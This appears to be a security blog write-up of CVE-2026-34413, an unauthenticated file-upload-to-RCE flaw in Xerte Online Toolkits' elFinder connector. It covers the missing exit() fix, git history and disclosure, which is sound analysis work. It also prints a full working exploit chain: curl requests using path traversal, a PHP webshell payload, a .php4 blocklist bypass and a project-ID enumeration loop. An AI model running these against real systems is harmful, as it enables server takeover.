//nefariousplan

CVE-2026-34413: Xerte's Auth Check Issued the Redirect, Then Did the Upload

patterns

cve

The exploit script for CVE-2026-34413 expects every successful request to come back as HTTP 302. Anything else, the script prints Failed to upload file and exits. The 302 is the redirect Xerte's connector.php sends when a caller did not authenticate. The script is making a request that did not authenticate. Three primitives in the chain, mkdir then upload then rename, every response a 302, every operation succeeded. The 302 is what the server sends to refuse the request. The 302 is what the server sends after performing it.

The auth check ran. The request ran anyway.

/editor/elfinder/php/connector.php is the entry point in Xerte Online Toolkits for elFinder, a PHP file browser embedded in the project editor. The handler is a top-level script. The first thing it does after loading config is check whether the caller has a session:

require_once(dirname(__FILE__).DIRECTORY_SEPARATOR."../../../config.php");

if (!isset($_SESSION['toolkits_logon_id'])){
    header("location: ../../../index.php");
}

if (empty($_REQUEST['uploadDir']) || empty($_REQUEST['uploadURL']))
{
    die("Invalid upload location");
}

There is the auth check. There is the redirect. There is no exit. The block ends at the closing brace, and PHP execution falls through to the next if. The next if checks that the request supplied an upload destination. If it did, the file moves on to the elFinder dispatcher, which handles mkdir, upload, rename, duplicate, rm, paste, and the rest of the file-browser command set against a path the request supplied as uploadDir.

PHP's header() is a header-emission function. It writes a header to the response. It does not terminate the script. The PHP manual is explicit, with a runtime example whose first line of body reads Make sure to call exit() right after. The redirect and the script termination are two separate operations. The author of the auth check wrote one of them.

The patch:

 if (!isset($_SESSION['toolkits_logon_id'])){
     header("location: ../../../index.php");
+    exit(0);
 }

One line. Commit 02661be8, March 24 2026, by the same author who wrote the original. The commit closes CVE-2026-34413, CVE-2026-34414 (path traversal in rename), and CVE-2026-34415 (extension regex flaw). Three CVEs in fifteen lines of diff. The largest single addition in the patch is a fourteen-line preventPathTraversal function added to gate the rename. The line that closes 34413 is one keystroke long.

The 302 is the receipt.

The bootstrapbool exploit script asserts if res.status_code != 302: exit(1) after every primitive in the chain. The mkdir step sends a request and exits if the response is not 302. The upload step does the same. The rename step does the same:

def create_dir(...):
    res = requests.get(url, params=params, allow_redirects=False)
    if res.status_code != 302:
        status.print("Failed to create directory", "FAIL")
        exit(1)

def upload_file(...):
    res = requests.post(url, params=params, data=data, files=files, allow_redirects=False)
    if res.status_code != 302:
        status.print("Failed to upload file.", "FAIL")
        exit(1)

def rename_file(...):
    res = requests.get(url, params=params, allow_redirects=False)
    if res.status_code != 302:
        status.print("Failed to rename file.", "FAIL")
        exit(1)

Three primitives, three identical predicates. The 302 is the receipt for every one. There is no other reason to expect a 302 from a PHP elFinder handler. The handler's normal success response is a JSON document. The 302 only happens because the caller is unauthenticated. The exploit author wrote the script around the failure mode, because the failure mode is what the server emits when the request is the request the exploit is making.

The allow_redirects=False argument is the second tell. By default, the requests library follows redirects. Setting it to false tells the library to surface the 302 directly to the caller instead of fetching the location it points to. The exploit author needs the 302 visible. Following the redirect would land the script at index.php, which is the unauthenticated login page, which carries no information about whether the operation that preceded the redirect succeeded. The script's signal is the unfollowed redirect. The unfollowed redirect is the proof that PHP ran past the auth check before sending it.

After the three redirects, the id command runs in the .php4 file the chain placed on disk:

$ curl http://target/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)

The redirect is what the auth check does to communicate refusal. The redirect is also what the server does after writing the attacker's file. A reader who reaches for the word "rejected" when they see a 302 from an authentication endpoint is reading the redirect at face value. The script reads it correctly.

Two Snyk audits read this file. Neither caught the line.

git blame for the auth-check block, run against the commit before the patch, returns:

0b884b1b3e (Tom Reijnders 2014-10-03 16:58:43 +0200) if (!isset($_SESSION['toolkits_logon_id'])){
0b884b1b3e (Tom Reijnders 2014-10-03 16:58:43 +0200)     header("location: ../../../index.php");
0b884b1b3e (Tom Reijnders 2014-10-03 16:58:43 +0200) }

Commit 0b884b1b3e, dated October 3 2014, message Replace kcfinder with elfinder image browser. The auth check was written when the project migrated from one PHP file browser to another. The block remained byte-for-byte identical for eleven years and five months, through every release Xerte has shipped since.

The git log on the same file in the intervening years includes:

86e13cf2a1 2024-07-16 SECURITY: mitigate path traversal risks identified by Snyk
ca19c49992 2024-07-17 SECURITY: mitigate XSS issues identified by Snyk
4f1b6d3012 2025-08-03 Add fixes for vulnerabilities disclosed to the project

Two consecutive commits in July 2024 wrote the word SECURITY: into their first line. The first reads as a Snyk-driven pass on path traversal in this file. The second reads as a Snyk-driven pass the next day on XSS in the same file. The third, in August 2025, reads as a fix pass against vulnerabilities reported privately. None of the three added exit(0) to the auth check. The path traversal that needed mitigating, the audit caught. The XSS that needed mitigating, the audit caught. The line whose absence means everything below the auth check runs for callers the auth check refused, the audit did not catch.

The default authentication mode in Xerte's documentation is Guest. Guest mode makes the project directory predictable enough to enumerate, which the exploit's outer loop does:

for x in range(1, 99):
    project_dir = f"/USER-FILES/{x}{user_dir}"

{user_dir} is --Nottingham/ for the Guest case. The university adopters listed at xerte.org.uk run those defaults. The eleven and a half years the line was missing are eleven and a half years of those installs.

This is unauth-write-to-execution-path.

The chain is the shape Unauth Write To Execution Path names. Three architectural decisions composed.

First, an unauthenticated trigger. The connector.php handler is reachable on the public HTTP surface of a default Xerte install. The auth check that should have stopped unauthenticated callers identifies them, emits a 302, and then runs the request anyway. This is the Fail Open Intercept shape expressed in PHP rather than Java try/catch: the gate was designed to reject, the code as written did not, and the gap is one line of source.

Second, a write directory that overlaps the execute path. Xerte's USER-FILES/ tree lives under the application's webroot at /opt/lampp/htdocs/xt/USER-FILES/ in the documented setup. The handler accepts the uploadDir parameter from the request and writes there. The rename primitive accepts a relative path and walks it, which means a file written under USER-FILES/<project>/ can be relocated above the USER-FILES/ boundary into a directory the webserver runs as PHP.

Third, a write contract that does not validate the file's identity. The extension blocklist in the same file is:

'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',

The regex php* matches ph followed by zero or more literal p characters. It matches ph, php, phpp, phppp. It does not match php4. The same patch that adds exit(0) rewrites this regex to php.*, with the dot. The exploit chooses .php4 because the extension is mapped to the PHP handler in Apache's default configuration alongside .php, .php3, and .phtml, and was outside the blocklist regex.

Three composed decisions. The chain is mkdir then upload then rename:

# 1. mkdir, l1_Lw is the elFinder hash for the upload root
curl 'http://target/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1--Nottingham/&uploadURL=http://target/xt/USER-FILES/1--Nottingham/&cmd=mkdir&name=stage&target=l1_Lw'

# 2. upload, the leading <br> in the payload evades elFinder's MIME content sniff
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://target/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1--Nottingham/&uploadURL=http://target/xt/USER-FILES/1--Nottingham/' \
  -F 'cmd=upload' -F 'target=l1_Lw' -F 'upload[]=@file.txt;type=text/plain'

# 3. rename, the path walks file.txt out of USER-FILES into a PHP-served directory
curl 'http://target/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1--Nottingham/&uploadURL=http://target/xt/USER-FILES/1--Nottingham/&cmd=rename&name=stage%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'

# 4. execute
curl 'http://target/xt/s.php4?cmd=id'

Each request returns 302. Each request succeeds. The bootstrapbool exploit runs this end-to-end across the first 99 project IDs, on the default Guest authentication path, and stops at the first that resolves. The Metasploit module shipping in the same repository wraps the chain with auto-detection of the webroot and a meterpreter payload.

The 34413 part of this story is the topmost decision. Removing it is one line. It was missing for eleven years and five months, while the chain's two later prerequisites accumulated their own CVEs to land in the same patch.

Disclosure ran in a day.

bootstrapbool opened issue #1527 on March 23 2026, asking whether reijnders at tor dot nl was still the right contact for security disclosure. Tom Reijnders pushed the patch on March 24 2026, one day later. Vulncheck published the advisory on April 22 2026. The vendor was responsive at every step the disclosure timeline records. The vendor was also the author of the line, the author of the eleven-and-a-half-year gap before the line was missing, and the recipient of two Snyk audits and one disclosed-vulns sweep that had previously read the file without finishing it.

The patch is one keystroke. The vendor wrote it the day they were asked.

PoC: bootstrapbool/xerteonlinetoolkits-rce

The 302 is what the server sent to refuse the request. The 302 is what the server sent after performing it.